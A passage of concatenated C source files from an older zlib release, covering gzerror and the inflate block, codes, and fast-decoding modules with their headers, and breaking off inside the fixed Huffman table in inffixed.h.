const char*  ZEXPORT gzerror (file, errnum)

    gzFile file;

    int *errnum;

{

    char *m;

    gz_stream *s = (gz_stream*)file;



    if (s == NULL) {

        *errnum = Z_STREAM_ERROR;

        return (const char*)ERR_MSG(Z_STREAM_ERROR);

    }

    *errnum = s->z_err;

    if (*errnum == Z_OK) return (const char*)"";



    m =  (char*)(*errnum == Z_ERRNO ? zstrerror(errno) : s->stream.msg);



    if (m == NULL || *m == '\0') m = (char*)ERR_MSG(s->z_err);



    TRYFREE(s->msg);

    s->msg = (char*)ALLOC(strlen(s->path) + strlen(m) + 3);

    strcpy(s->msg, s->path);

    strcat(s->msg, ": ");

    strcat(s->msg, m);

    return (const char*)s->msg;

}









源码/Zip/infblock.c

/* infblock.c -- interpret and process block types to last block

 * Copyright (C) 1995-2002 Mark Adler

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



#include "zutil.h"

#include "infblock.h"

#include "inftrees.h"

#include "infcodes.h"

#include "infutil.h"



struct inflate_codes_state {int dummy;}; /* for buggy compilers */



/* simplify the use of the inflate_huft type with some defines */

#define exop word.what.Exop

#define bits word.what.Bits



/* Table for deflate from PKZIP's appnote.txt. */

local const uInt border[] = { /* Order of the bit length code lengths */

        16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15};



/*

   Notes beyond the 1.93a appnote.txt:



   1. Distance pointers never point before the beginning of the output

      stream.

   2. Distance pointers can point back across blocks, up to 32k away.

   3. There is an implied maximum of 7 bits for the bit length table and

      15 bits for the actual data.

   4. If only one code exists, then it is encoded using one bit.  (Zero

      would be more efficient, but perhaps a little confusing.)  If two

      codes exist, they are coded using one bit each (0 and 1).

   5. There is no way of sending zero distance codes--a dummy must be

      sent if there are none.  (History: a pre 2.0 version of PKZIP would

      store blocks with no distance codes, but this was discovered to be

      too harsh a criterion.)  Valid only for 1.93a.  2.04c does allow

      zero distance codes, which is sent as one code of zero bits in

      length.

   6. There are up to 286 literal/length codes.  Code 256 represents the

      end-of-block.  Note however that the static length tree defines

      288 codes just to fill out the Huffman codes.  Codes 286 and 287

      cannot be used though, since there is no length base or extra bits

      defined for them.  Similarily, there are up to 30 distance codes.

      However, static trees define 32 codes (all 5 bits) to fill out the

      Huffman codes, but the last two had better not show up in the data.

   7. Unzip can check dynamic Huffman blocks for complete code sets.

      The exception is that a single code would not be complete (see #4).

   8. The five bits following the block type is really the number of

      literal codes sent minus 257.

   9. Length codes 8,16,16 are interpreted as 13 length codes of 8 bits

      (1+6+6).  Therefore, to output three times the length, you output

      three codes (1+1+1), whereas to output four times the same length,

      you only need two codes (1+3).  Hmm.

  10. In the tree reconstruction algorithm, Code = Code + Increment

      only if BitLength(i) is not zero.  (Pretty obvious.)

  11. Correction: 4 Bits: # of Bit Length codes - 4     (4 - 19)

  12. Note: length code 284 can represent 227-258, but length code 285

      really is 258.  The last length deserves its own, short code

      since it gets used a lot in very redundant files.  The length

      258 is special since 258 - 3 (the min match length) is 255.

  13. The literal/length and distance code bit lengths are read as a

      single stream of lengths.  It is possible (and advantageous) for

      a repeat code (16, 17, or 18) to go across the boundary between

      the two sets of lengths.

 */





void inflate_blocks_reset(s, z, c)

inflate_blocks_statef *s;

z_streamp z;

uLongf *c;

{

  if (c != Z_NULL)

    *c = s->check;

  if (s->mode == BTREE || s->mode == DTREE)

    ZFREE(z, s->sub.trees.blens);

  if (s->mode == CODES)

    inflate_codes_free(s->sub.decode.codes, z);

  s->mode = TYPE;

  s->bitk = 0;

  s->bitb = 0;

  s->read = s->write = s->window;

  if (s->checkfn != Z_NULL)

    z->adler = s->check = (*s->checkfn)(0L, (const Bytef *)Z_NULL, 0);

  Tracev((stderr, "inflate:   blocks reset\n"));

}





inflate_blocks_statef *inflate_blocks_new(z, c, w)

z_streamp z;

check_func c;

uInt w;

{

  inflate_blocks_statef *s;



  if ((s = (inflate_blocks_statef *)ZALLOC

       (z,1,sizeof(struct inflate_blocks_state))) == Z_NULL)

    return s;

  if ((s->hufts =

       (inflate_huft *)ZALLOC(z, sizeof(inflate_huft), MANY)) == Z_NULL)

  {

    ZFREE(z, s);

    return Z_NULL;

  }

  if ((s->window = (Bytef *)ZALLOC(z, 1, w)) == Z_NULL)

  {

    ZFREE(z, s->hufts);

    ZFREE(z, s);

    return Z_NULL;

  }

  s->end = s->window + w;

  s->checkfn = c;

  s->mode = TYPE;

  Tracev((stderr, "inflate:   blocks allocated\n"));

  inflate_blocks_reset(s, z, Z_NULL);

  return s;

}





int inflate_blocks(s, z, r)

inflate_blocks_statef *s;

z_streamp z;

int r;

{

  uInt t;               /* temporary storage */

  uLong b;              /* bit buffer */

  uInt k;               /* bits in bit buffer */

  Bytef *p;             /* input data pointer */

  uInt n;               /* bytes available there */

  Bytef *q;             /* output window write pointer */

  uInt m;               /* bytes to end of window or read pointer */



  /* copy input/output information to locals (UPDATE macro restores) */

  LOAD



  /* process input based on current state */

  while (1) switch (s->mode)

  {

    case TYPE:

      NEEDBITS(3)

      t = (uInt)b & 7;

      s->last = t & 1;

      switch (t >> 1)

      {

        case 0:                         /* stored */

          Tracev((stderr, "inflate:     stored block%s\n",

                 s->last ? " (last)" : ""));

          DUMPBITS(3)

          t = k & 7;                    /* go to byte boundary */

          DUMPBITS(t)

          s->mode = LENS;               /* get length of stored block */

          break;

        case 1:                         /* fixed */

          Tracev((stderr, "inflate:     fixed codes block%s\n",

                 s->last ? " (last)" : ""));

          {

            uInt bl, bd;

            inflate_huft *tl, *td;



            inflate_trees_fixed(&bl, &bd, &tl, &td, z);

            s->sub.decode.codes = inflate_codes_new(bl, bd, tl, td, z);

            if (s->sub.decode.codes == Z_NULL)

            {

              r = Z_MEM_ERROR;

              LEAVE

            }

          }

          DUMPBITS(3)

          s->mode = CODES;

          break;

        case 2:                         /* dynamic */

          Tracev((stderr, "inflate:     dynamic codes block%s\n",

                 s->last ? " (last)" : ""));

          DUMPBITS(3)

          s->mode = TABLE;

          break;

        case 3:                         /* illegal */

          DUMPBITS(3)

          s->mode = BAD;

          z->msg = (char*)"invalid block type";

          r = Z_DATA_ERROR;

          LEAVE

      }

      break;

    case LENS:

      NEEDBITS(32)

      if ((((~b) >> 16) & 0xffff) != (b & 0xffff))

      {

        s->mode = BAD;

        z->msg = (char*)"invalid stored block lengths";

        r = Z_DATA_ERROR;

        LEAVE

      }

      s->sub.left = (uInt)b & 0xffff;

      b = k = 0;                      /* dump bits */

      Tracev((stderr, "inflate:       stored length %u\n", s->sub.left));

      s->mode = s->sub.left ? STORED : (s->last ? DRY : TYPE);

      break;

    case STORED:

      if (n == 0)

        LEAVE

      NEEDOUT

      t = s->sub.left;

      if (t > n) t = n;

      if (t > m) t = m;

      zmemcpy(q, p, t);

      p += t;  n -= t;

      q += t;  m -= t;

      if ((s->sub.left -= t) != 0)

        break;

      Tracev((stderr, "inflate:       stored end, %lu total out\n",

              z->total_out + (q >= s->read ? q - s->read :

              (s->end - s->read) + (q - s->window))));

      s->mode = s->last ? DRY : TYPE;

      break;

    case TABLE:

      NEEDBITS(14)

      s->sub.trees.table = t = (uInt)b & 0x3fff;

#ifndef PKZIP_BUG_WORKAROUND

      if ((t & 0x1f) > 29 || ((t >> 5) & 0x1f) > 29)

      {

        s->mode = BAD;

        z->msg = (char*)"too many length or distance symbols";

        r = Z_DATA_ERROR;

        LEAVE

      }

#endif

      t = 258 + (t & 0x1f) + ((t >> 5) & 0x1f);

      if ((s->sub.trees.blens = (uIntf*)ZALLOC(z, t, sizeof(uInt))) == Z_NULL)

      {

        r = Z_MEM_ERROR;

        LEAVE

      }

      DUMPBITS(14)

      s->sub.trees.index = 0;

      Tracev((stderr, "inflate:       table sizes ok\n"));

      s->mode = BTREE;

    case BTREE:

      while (s->sub.trees.index < 4 + (s->sub.trees.table >> 10))

      {

        NEEDBITS(3)

        s->sub.trees.blens[border[s->sub.trees.index++]] = (uInt)b & 7;

        DUMPBITS(3)

      }

      while (s->sub.trees.index < 19)

        s->sub.trees.blens[border[s->sub.trees.index++]] = 0;

      s->sub.trees.bb = 7;

      t = inflate_trees_bits(s->sub.trees.blens, &s->sub.trees.bb,

                             &s->sub.trees.tb, s->hufts, z);

      if (t != Z_OK)

      {

        r = t;

        if (r == Z_DATA_ERROR)

        {

          ZFREE(z, s->sub.trees.blens);

          s->mode = BAD;

        }

        LEAVE

      }

      s->sub.trees.index = 0;

      Tracev((stderr, "inflate:       bits tree ok\n"));

      s->mode = DTREE;

    case DTREE:

      while (t = s->sub.trees.table,

             s->sub.trees.index < 258 + (t & 0x1f) + ((t >> 5) & 0x1f))

      {

        inflate_huft *h;

        uInt i, j, c;



        t = s->sub.trees.bb;

        NEEDBITS(t)

        h = s->sub.trees.tb + ((uInt)b & inflate_mask[t]);

        t = h->bits;

        c = h->base;

        if (c < 16)

        {

          DUMPBITS(t)

          s->sub.trees.blens[s->sub.trees.index++] = c;

        }

        else /* c == 16..18 */

        {

          i = c == 18 ? 7 : c - 14;

          j = c == 18 ? 11 : 3;

          NEEDBITS(t + i)

          DUMPBITS(t)

          j += (uInt)b & inflate_mask[i];

          DUMPBITS(i)

          i = s->sub.trees.index;

          t = s->sub.trees.table;

          if (i + j > 258 + (t & 0x1f) + ((t >> 5) & 0x1f) ||

              (c == 16 && i < 1))

          {

            ZFREE(z, s->sub.trees.blens);

            s->mode = BAD;

            z->msg = (char*)"invalid bit length repeat";

            r = Z_DATA_ERROR;

            LEAVE

          }

          c = c == 16 ? s->sub.trees.blens[i - 1] : 0;

          do {

            s->sub.trees.blens[i++] = c;

          } while (--j);

          s->sub.trees.index = i;

        }

      }

      s->sub.trees.tb = Z_NULL;

      {

        uInt bl, bd;

        inflate_huft *tl, *td;

        inflate_codes_statef *c;



        bl = 9;         /* must be <= 9 for lookahead assumptions */

        bd = 6;         /* must be <= 9 for lookahead assumptions */

        t = s->sub.trees.table;

        t = inflate_trees_dynamic(257 + (t & 0x1f), 1 + ((t >> 5) & 0x1f),

                                  s->sub.trees.blens, &bl, &bd, &tl, &td,

                                  s->hufts, z);

        if (t != Z_OK)

        {

          if (t == (uInt)Z_DATA_ERROR)

          {

            ZFREE(z, s->sub.trees.blens);

            s->mode = BAD;

          }

          r = t;

          LEAVE

        }

        Tracev((stderr, "inflate:       trees ok\n"));

        if ((c = inflate_codes_new(bl, bd, tl, td, z)) == Z_NULL)

        {

          r = Z_MEM_ERROR;

          LEAVE

        }

        s->sub.decode.codes = c;

      }

      ZFREE(z, s->sub.trees.blens);

      s->mode = CODES;

    case CODES:

      UPDATE

      if ((r = inflate_codes(s, z, r)) != Z_STREAM_END)

        return inflate_flush(s, z, r);

      r = Z_OK;

      inflate_codes_free(s->sub.decode.codes, z);

      LOAD

      Tracev((stderr, "inflate:       codes end, %lu total out\n",

              z->total_out + (q >= s->read ? q - s->read :

              (s->end - s->read) + (q - s->window))));

      if (!s->last)

      {

        s->mode = TYPE;

        break;

      }

      s->mode = DRY;

    case DRY:

      FLUSH

      if (s->read != s->write)

        LEAVE

      s->mode = DONE;

    case DONE:

      r = Z_STREAM_END;

      LEAVE

    case BAD:

      r = Z_DATA_ERROR;

      LEAVE

    default:

      r = Z_STREAM_ERROR;

      LEAVE

  }

}





int inflate_blocks_free(s, z)

inflate_blocks_statef *s;

z_streamp z;

{

  inflate_blocks_reset(s, z, Z_NULL);

  ZFREE(z, s->window);

  ZFREE(z, s->hufts);

  ZFREE(z, s);

  Tracev((stderr, "inflate:   blocks freed\n"));

  return Z_OK;

}





void inflate_set_dictionary(s, d, n)

inflate_blocks_statef *s;

const Bytef *d;

uInt  n;

{

  zmemcpy(s->window, d, n);

  s->read = s->write = s->window + n;

}





/* Returns true if inflate is currently at the end of a block generated

 * by Z_SYNC_FLUSH or Z_FULL_FLUSH. 

 * IN assertion: s != Z_NULL

 */

int inflate_blocks_sync_point(s)

inflate_blocks_statef *s;

{

  return s->mode == LENS;

}









源码/Zip/infblock.h

/* infblock.h -- header to use infblock.c

 * Copyright (C) 1995-2002 Mark Adler

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



/* WARNING: this file should *not* be used by applications. It is

   part of the implementation of the compression library and is

   subject to change. Applications should only use zlib.h.

 */



struct inflate_blocks_state;

typedef struct inflate_blocks_state FAR inflate_blocks_statef;



extern inflate_blocks_statef * inflate_blocks_new OF((

    z_streamp z,

    check_func c,               /* check function */

    uInt w));                   /* window size */



extern int inflate_blocks OF((

    inflate_blocks_statef *,

    z_streamp ,

    int));                      /* initial return code */



extern void inflate_blocks_reset OF((

    inflate_blocks_statef *,

    z_streamp ,

    uLongf *));                  /* check value on output */



extern int inflate_blocks_free OF((

    inflate_blocks_statef *,

    z_streamp));



extern void inflate_set_dictionary OF((

    inflate_blocks_statef *s,

    const Bytef *d,  /* dictionary */

    uInt  n));       /* dictionary length */



extern int inflate_blocks_sync_point OF((

    inflate_blocks_statef *s));









源码/Zip/infcodes.c

/* infcodes.c -- process literals and length/distance pairs

 * Copyright (C) 1995-2002 Mark Adler

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



#include "zutil.h"

#include "inftrees.h"

#include "infblock.h"

#include "infcodes.h"

#include "infutil.h"

#include "inffast.h"



/* simplify the use of the inflate_huft type with some defines */

#define exop word.what.Exop

#define bits word.what.Bits



typedef enum {        /* waiting for "i:"=input, "o:"=output, "x:"=nothing */

      START,    /* x: set up for LEN */

      LEN,      /* i: get length/literal/eob next */

      LENEXT,   /* i: getting length extra (have base) */

      DIST,     /* i: get distance next */

      DISTEXT,  /* i: getting distance extra */

      COPY,     /* o: copying bytes in window, waiting for space */

      LIT,      /* o: got literal, waiting for output space */

      WASH,     /* o: got eob, possibly still output waiting */

      END,      /* x: got eob and all data flushed */

      BADCODE}  /* x: got error */

inflate_codes_mode;



/* inflate codes private state */

struct inflate_codes_state {



  /* mode */

  inflate_codes_mode mode;      /* current inflate_codes mode */



  /* mode dependent information */

  uInt len;

  union {

    struct {

      inflate_huft *tree;       /* pointer into tree */

      uInt need;                /* bits needed */

    } code;             /* if LEN or DIST, where in tree */

    uInt lit;           /* if LIT, literal */

    struct {

      uInt get;                 /* bits to get for extra */

      uInt dist;                /* distance back to copy from */

    } copy;             /* if EXT or COPY, where and how much */

  } sub;                /* submode */



  /* mode independent information */

  Byte lbits;           /* ltree bits decoded per branch */

  Byte dbits;           /* dtree bits decoder per branch */

  inflate_huft *ltree;          /* literal/length/eob tree */

  inflate_huft *dtree;          /* distance tree */



};





inflate_codes_statef *inflate_codes_new(bl, bd, tl, td, z)

uInt bl, bd;

inflate_huft *tl;

inflate_huft *td; /* need separate declaration for Borland C++ */

z_streamp z;

{

  inflate_codes_statef *c;



  if ((c = (inflate_codes_statef *)

       ZALLOC(z,1,sizeof(struct inflate_codes_state))) != Z_NULL)

  {

    c->mode = START;

    c->lbits = (Byte)bl;

    c->dbits = (Byte)bd;

    c->ltree = tl;

    c->dtree = td;

    Tracev((stderr, "inflate:       codes new\n"));

  }

  return c;

}





int inflate_codes(s, z, r)

inflate_blocks_statef *s;

z_streamp z;

int r;

{

  uInt j;               /* temporary storage */

  inflate_huft *t;      /* temporary pointer */

  uInt e;               /* extra bits or operation */

  uLong b;              /* bit buffer */

  uInt k;               /* bits in bit buffer */

  Bytef *p;             /* input data pointer */

  uInt n;               /* bytes available there */

  Bytef *q;             /* output window write pointer */

  uInt m;               /* bytes to end of window or read pointer */

  Bytef *f;             /* pointer to copy strings from */

  inflate_codes_statef *c = s->sub.decode.codes;  /* codes state */



  /* copy input/output information to locals (UPDATE macro restores) */

  LOAD



  /* process input and output based on current state */

  while (1) switch (c->mode)

  {             /* waiting for "i:"=input, "o:"=output, "x:"=nothing */

    case START:         /* x: set up for LEN */

#ifndef SLOW

      if (m >= 258 && n >= 10)

      {

        UPDATE

        r = inflate_fast(c->lbits, c->dbits, c->ltree, c->dtree, s, z);

        LOAD

        if (r != Z_OK)

        {

          c->mode = r == Z_STREAM_END ? WASH : BADCODE;

          break;

        }

      }

#endif /* !SLOW */

      c->sub.code.need = c->lbits;

      c->sub.code.tree = c->ltree;

      c->mode = LEN;

    case LEN:           /* i: get length/literal/eob next */

      j = c->sub.code.need;

      NEEDBITS(j)

      t = c->sub.code.tree + ((uInt)b & inflate_mask[j]);

      DUMPBITS(t->bits)

      e = (uInt)(t->exop);

      if (e == 0)               /* literal */

      {

        c->sub.lit = t->base;

        Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ?

                 "inflate:         literal '%c'\n" :

                 "inflate:         literal 0x%02x\n", t->base));

        c->mode = LIT;

        break;

      }

      if (e & 16)               /* length */

      {

        c->sub.copy.get = e & 15;

        c->len = t->base;

        c->mode = LENEXT;

        break;

      }

      if ((e & 64) == 0)        /* next table */

      {

        c->sub.code.need = e;

        c->sub.code.tree = t + t->base;

        break;

      }

      if (e & 32)               /* end of block */

      {

        Tracevv((stderr, "inflate:         end of block\n"));

        c->mode = WASH;

        break;

      }

      c->mode = BADCODE;        /* invalid code */

      z->msg = (char*)"invalid literal/length code";

      r = Z_DATA_ERROR;

      LEAVE

    case LENEXT:        /* i: getting length extra (have base) */

      j = c->sub.copy.get;

      NEEDBITS(j)

      c->len += (uInt)b & inflate_mask[j];

      DUMPBITS(j)

      c->sub.code.need = c->dbits;

      c->sub.code.tree = c->dtree;

      Tracevv((stderr, "inflate:         length %u\n", c->len));

      c->mode = DIST;

    case DIST:          /* i: get distance next */

      j = c->sub.code.need;

      NEEDBITS(j)

      t = c->sub.code.tree + ((uInt)b & inflate_mask[j]);

      DUMPBITS(t->bits)

      e = (uInt)(t->exop);

      if (e & 16)               /* distance */

      {

        c->sub.copy.get = e & 15;

        c->sub.copy.dist = t->base;

        c->mode = DISTEXT;

        break;

      }

      if ((e & 64) == 0)        /* next table */

      {

        c->sub.code.need = e;

        c->sub.code.tree = t + t->base;

        break;

      }

      c->mode = BADCODE;        /* invalid code */

      z->msg = (char*)"invalid distance code";

      r = Z_DATA_ERROR;

      LEAVE

    case DISTEXT:       /* i: getting distance extra */

      j = c->sub.copy.get;

      NEEDBITS(j)

      c->sub.copy.dist += (uInt)b & inflate_mask[j];

      DUMPBITS(j)

      Tracevv((stderr, "inflate:         distance %u\n", c->sub.copy.dist));

      c->mode = COPY;

    case COPY:          /* o: copying bytes in window, waiting for space */

      f = q - c->sub.copy.dist;

      while (f < s->window)             /* modulo window size-"while" instead */

        f += s->end - s->window;        /* of "if" handles invalid distances */

      while (c->len)

      {

        NEEDOUT

        OUTBYTE(*f++)

        if (f == s->end)

          f = s->window;

        c->len--;

      }

      c->mode = START;

      break;

    case LIT:           /* o: got literal, waiting for output space */

      NEEDOUT

      OUTBYTE(c->sub.lit)

      c->mode = START;

      break;

    case WASH:          /* o: got eob, possibly more output */

      if (k > 7)        /* return unused byte, if any */

      {

        Assert(k < 16, "inflate_codes grabbed too many bytes")

        k -= 8;

        n++;

        p--;            /* can always return one */

      }

      FLUSH

      if (s->read != s->write)

        LEAVE

      c->mode = END;

    case END:

      r = Z_STREAM_END;

      LEAVE

    case BADCODE:       /* x: got error */

      r = Z_DATA_ERROR;

      LEAVE

    default:

      r = Z_STREAM_ERROR;

      LEAVE

  }

#ifdef NEED_DUMMY_RETURN

  return Z_STREAM_ERROR;  /* Some dumb compilers complain without this */

#endif

}





void inflate_codes_free(c, z)

inflate_codes_statef *c;

z_streamp z;

{

  ZFREE(z, c);

  Tracev((stderr, "inflate:       codes free\n"));

}









源码/Zip/infcodes.h

/* infcodes.h -- header to use infcodes.c

 * Copyright (C) 1995-2002 Mark Adler

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



/* WARNING: this file should *not* be used by applications. It is

   part of the implementation of the compression library and is

   subject to change. Applications should only use zlib.h.

 */



struct inflate_codes_state;

typedef struct inflate_codes_state FAR inflate_codes_statef;



extern inflate_codes_statef *inflate_codes_new OF((

    uInt, uInt,

    inflate_huft *, inflate_huft *,

    z_streamp ));



extern int inflate_codes OF((

    inflate_blocks_statef *,

    z_streamp ,

    int));



extern void inflate_codes_free OF((

    inflate_codes_statef *,

    z_streamp ));











源码/Zip/inffast.c

/* inffast.c -- process literals and length/distance pairs fast

 * Copyright (C) 1995-2002 Mark Adler

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



#include "zutil.h"

#include "inftrees.h"

#include "infblock.h"

#include "infcodes.h"

#include "infutil.h"

#include "inffast.h"



struct inflate_codes_state {int dummy;}; /* for buggy compilers */



/* simplify the use of the inflate_huft type with some defines */

#define exop word.what.Exop

#define bits word.what.Bits



/* macros for bit input with no checking and for returning unused bytes */

#define GRABBITS(j) {while(k<(j)){b|=((uLong)NEXTBYTE)<<k;k+=8;}}

#define UNGRAB {c=z->avail_in-n;c=(k>>3)<c?k>>3:c;n+=c;p-=c;k-=c<<3;}



/* Called with number of bytes left to write in window at least 258

   (the maximum string length) and number of input bytes available

   at least ten.  The ten bytes are six bytes for the longest length/

   distance pair plus four bytes for overloading the bit buffer. */



int inflate_fast(bl, bd, tl, td, s, z)

uInt bl, bd;

inflate_huft *tl;

inflate_huft *td; /* need separate declaration for Borland C++ */

inflate_blocks_statef *s;

z_streamp z;

{

  inflate_huft *t;      /* temporary pointer */

  uInt e;               /* extra bits or operation */

  uLong b;              /* bit buffer */

  uInt k;               /* bits in bit buffer */

  Bytef *p;             /* input data pointer */

  uInt n;               /* bytes available there */

  Bytef *q;             /* output window write pointer */

  uInt m;               /* bytes to end of window or read pointer */

  uInt ml;              /* mask for literal/length tree */

  uInt md;              /* mask for distance tree */

  uInt c;               /* bytes to copy */

  uInt d;               /* distance back to copy from */

  Bytef *r;             /* copy source pointer */



  /* load input, output, bit values */

  LOAD



  /* initialize masks */

  ml = inflate_mask[bl];

  md = inflate_mask[bd];



  /* do until not enough input or output space for fast loop */

  do {                          /* assume called with m >= 258 && n >= 10 */

    /* get literal/length code */

    GRABBITS(20)                /* max bits for literal/length code */

    if ((e = (t = tl + ((uInt)b & ml))->exop) == 0)

    {

      DUMPBITS(t->bits)

      Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ?

                "inflate:         * literal '%c'\n" :

                "inflate:         * literal 0x%02x\n", t->base));

      *q++ = (Byte)t->base;

      m--;

      continue;

    }

    do {

      DUMPBITS(t->bits)

      if (e & 16)

      {

        /* get extra bits for length */

        e &= 15;

        c = t->base + ((uInt)b & inflate_mask[e]);

        DUMPBITS(e)

        Tracevv((stderr, "inflate:         * length %u\n", c));



        /* decode distance base of block to copy */

        GRABBITS(15);           /* max bits for distance code */

        e = (t = td + ((uInt)b & md))->exop;

        do {

          DUMPBITS(t->bits)

          if (e & 16)

          {

            /* get extra bits to add to distance base */

            e &= 15;

            GRABBITS(e)         /* get extra bits (up to 13) */

            d = t->base + ((uInt)b & inflate_mask[e]);

            DUMPBITS(e)

            Tracevv((stderr, "inflate:         * distance %u\n", d));



            /* do the copy */

            m -= c;

            r = q - d;

            if (r < s->window)                  /* wrap if needed */

            {

              do {

                r += s->end - s->window;        /* force pointer in window */

              } while (r < s->window);          /* covers invalid distances */

              e = s->end - r;

              if (c > e)

              {

                c -= e;                         /* wrapped copy */

                do {

                    *q++ = *r++;

                } while (--e);

                r = s->window;

                do {

                    *q++ = *r++;

                } while (--c);

              }

              else                              /* normal copy */

              {

                *q++ = *r++;  c--;

                *q++ = *r++;  c--;

                do {

                    *q++ = *r++;

                } while (--c);

              }

            }

            else                                /* normal copy */

            {

              *q++ = *r++;  c--;

              *q++ = *r++;  c--;

              do {

                *q++ = *r++;

              } while (--c);

            }

            break;

          }

          else if ((e & 64) == 0)

          {

            t += t->base;

            e = (t += ((uInt)b & inflate_mask[e]))->exop;

          }

          else

          {

            z->msg = (char*)"invalid distance code";

            UNGRAB

            UPDATE

            return Z_DATA_ERROR;

          }

        } while (1);

        break;

      }

      if ((e & 64) == 0)

      {

        t += t->base;

        if ((e = (t += ((uInt)b & inflate_mask[e]))->exop) == 0)

        {

          DUMPBITS(t->bits)

          Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ?

                    "inflate:         * literal '%c'\n" :

                    "inflate:         * literal 0x%02x\n", t->base));

          *q++ = (Byte)t->base;

          m--;

          break;

        }

      }

      else if (e & 32)

      {

        Tracevv((stderr, "inflate:         * end of block\n"));

        UNGRAB

        UPDATE

        return Z_STREAM_END;

      }

      else

      {

        z->msg = (char*)"invalid literal/length code";

        UNGRAB

        UPDATE

        return Z_DATA_ERROR;

      }

    } while (1);

  } while (m >= 258 && n >= 10);



  /* not enough input or output--restore pointers and return */

  UNGRAB

  UPDATE

  return Z_OK;

}









源码/Zip/inffast.h

/* inffast.h -- header to use inffast.c

 * Copyright (C) 1995-2002 Mark Adler

 * For conditions of distribution and use, see copyright notice in zlib.h 

 */



/* WARNING: this file should *not* be used by applications. It is

   part of the implementation of the compression library and is

   subject to change. Applications should only use zlib.h.

 */



extern int inflate_fast OF((

    uInt,

    uInt,

    inflate_huft *,

    inflate_huft *,

    inflate_blocks_statef *,

    z_streamp ));









源码/Zip/inffixed.h

/* inffixed.h -- table for decoding fixed codes

 * Generated automatically by the maketree.c program

 */



/* WARNING: this file should *not* be used by applications. It is

   part of the implementation of the compression library and is

   subject to change. Applications should only use zlib.h.

 */



local uInt fixed_bl = 9;

local uInt fixed_bd = 5;

local inflate_huft fixed_tl[] = {

    {{{96,7}},256}, {{{0,8}},80}, {{{0,8}},16}, {{{84,8}},115},

    {{{82,7}},31}, {{{0,8}},112}, {{{0,8}},48}, {{{0,9}},192},

    {{{80,7}},10}, {{{0,8}},96}, {{{0,8}},32}, {{{0,9}},160},

    {{{0,8}},0}, {{{0,8}},128}, {{{0,8}},64}, {{{0,9}},224},

    {{{80,7}},6}, {{{0,8}},88}, {{{0,8}},24}, {{{0,9}},144},

    {{{83,7}},59}, {{{0,8}},120}, {{{0,8}},56}, {{{0,9}},208},

    {{{81,7}},17}, {{{0,8}},104}, {{{0,8}},40}, {{{0,9}},176},

    {{{0,8}},8}, {{{0,8}},136}, {{{0,8}},72}, {{{0,9}},240},

    {{{80,7}},4}, {{{0,8}},84}, {{{0,8}},20}, {{{85,8}},227},

    {{{83,7}},43}, {{{0,8}},116}, {{{0,8}},52}, {{{0,9}},200},

    {{{81,7}},13}, {{{0,8}},100}, {{{0,8}},36}, {{{0,9}},168},

    {{{0,8}},4}, {{{0,8}},132}, {{{0,8}},68}, {{{0,9}},232},

    {{{80,7}},8}, {{{0,8}},92}, {{{0,8}},28}, {{{0,9}},152},

    {{{84,7}},83}, {{{0,8}},124}, {{{0,8}},60}, {{{0,9}},216},

    {{{82,7}},23}, {{{0,8}},108}, {{{0,8}},44}, {{{0,9}},184},

    {{{0,8}},12}, {{{0,8}},140}, {{{0,8}},76}, {{{0,9}},248},

    {{{80,7}},3}, {{{0,8}},82}, {{{0,8}},18}, {{{85,8}},163},

    {{{83,7}},35}, {{{0,8}},114}, {{{0,8}},50}, {{{0,9}},196},

    {{{81,7}},11}, {{{0,8}},98}, {{{0,8}},34}, {{{0,9}},164},

    {{{0,8}},2}, {{{0,8}},130}, {{{0,8}},66}, {{{0,9}},228},

    {{{80,7}},7}, {{{0,8}},90}, {{{0,8}},26}, {{{0,9}},148},

    {{{84,7}},67}, {{{0,8}},122}, {{{0,8}},58}, {{{0,9}},212},

    {{{82,7}},19}, {{{0,8}},106}, {{{0,8}},42}, {{{0,9}},180},

    {{{0,8}},10}, {{{0,8}},138}, {{{0,8}},74}, {{{0,9}},244},

    {{{80,7}},5}, {{{0,8}},86}, {{{0,8}},22}, {{{192,8}},0},

    {{{83,7}},51}, {{{0,8}},118}, {{{0,8}},54}, {{{0,9}},204},

    {{{81,7}},15}, {{{0,8}},102}, {{{0,8}},38}, {{{0,9}},172},

    {{{0,8}},6}, {{{0,8}},134}, {{{0,8}},70}, {{{0,9}},236},

    {{{80,7}},9}, {{{0,8}},94}, {{{0,8}},30}, {{{0,9}},156},

    {{{84,7}},99}, {{{0,8}},126}, {{{0,8}},62}, {{{0,9}},220},

    {{{82,7}},27}, {{{0,8}},110}, {{{0,8}},46}, {{{0,9}},188},

    {{{0,8}},14}, {{{0,8}},142}, {{{0,8}},78}, {{{0,9}},252},

    {{{96,7}},256}, {{{0,8}},81}, {{{0,8}},17}, {{{85,8}},131},

    {{{82,7}},31}, {{{0,8}},113}, {{{0,8}},49}, {{{0,9}},194},

    {{{80,7}},10}, {{{0,8}},97}, {{{0,8}},33}, {{{0,9}},162},

    {{{0,8}},1}, {{{0,8}},129}, {{{0,8}},65}, {{{0,9}},226},

    {{{80,7}},6}, {{{0,8}},89}, {{{0,8}},25}, {{{0,9}},146},

    {{{83,7}},59}, {{{0,8}},121}, {{{0,8}},57}, {{{0,9}},210},

    {{{81,7}},17}, {{{0,8}},105}, {{{0,8}},41}, {{{0,9}},178},

    {{{0,8}},9}, {{{0,8}},137}, {{{0,8}},73}, {{{0,9}},242},

    {{{80,7}},4}, {{{0,8}},85}, {{{0,8}},21}, {{{80,8}},258},

    {{{83,7}},43}, {{{0,8}},117}, {{{0,8}},53}, {{{0,9}},202},

    {{{81,7}},13}, {{{0,8}},101}, {{{0,8}},37}, {{{0,9}},170},

    {{{0,8}},5}, {{{0,8}},133}, {{{0,8}},69}, {{{0,9}},234},

    {{{80,7}},8}, {{{0,8}},93}, {{{0,8}},29}, {{{0,9}},154},

    {{{84,7}},83}, {{{0,8}},125}, {{{0,8}},61}, {{{0,9}},218},

    {{{82,7}},23}, {{{0,8}},109}, {{{0,8}},45}, {{{0,9}},186},

    {{{0,8}},13}, {{{0,8}},141}, {{{0,8}},77}, {{{0,9}},250},

    {{{80,7}},3}, {{{0,8}},83}, {{{0,8}},19}, {{{85,8}},195},

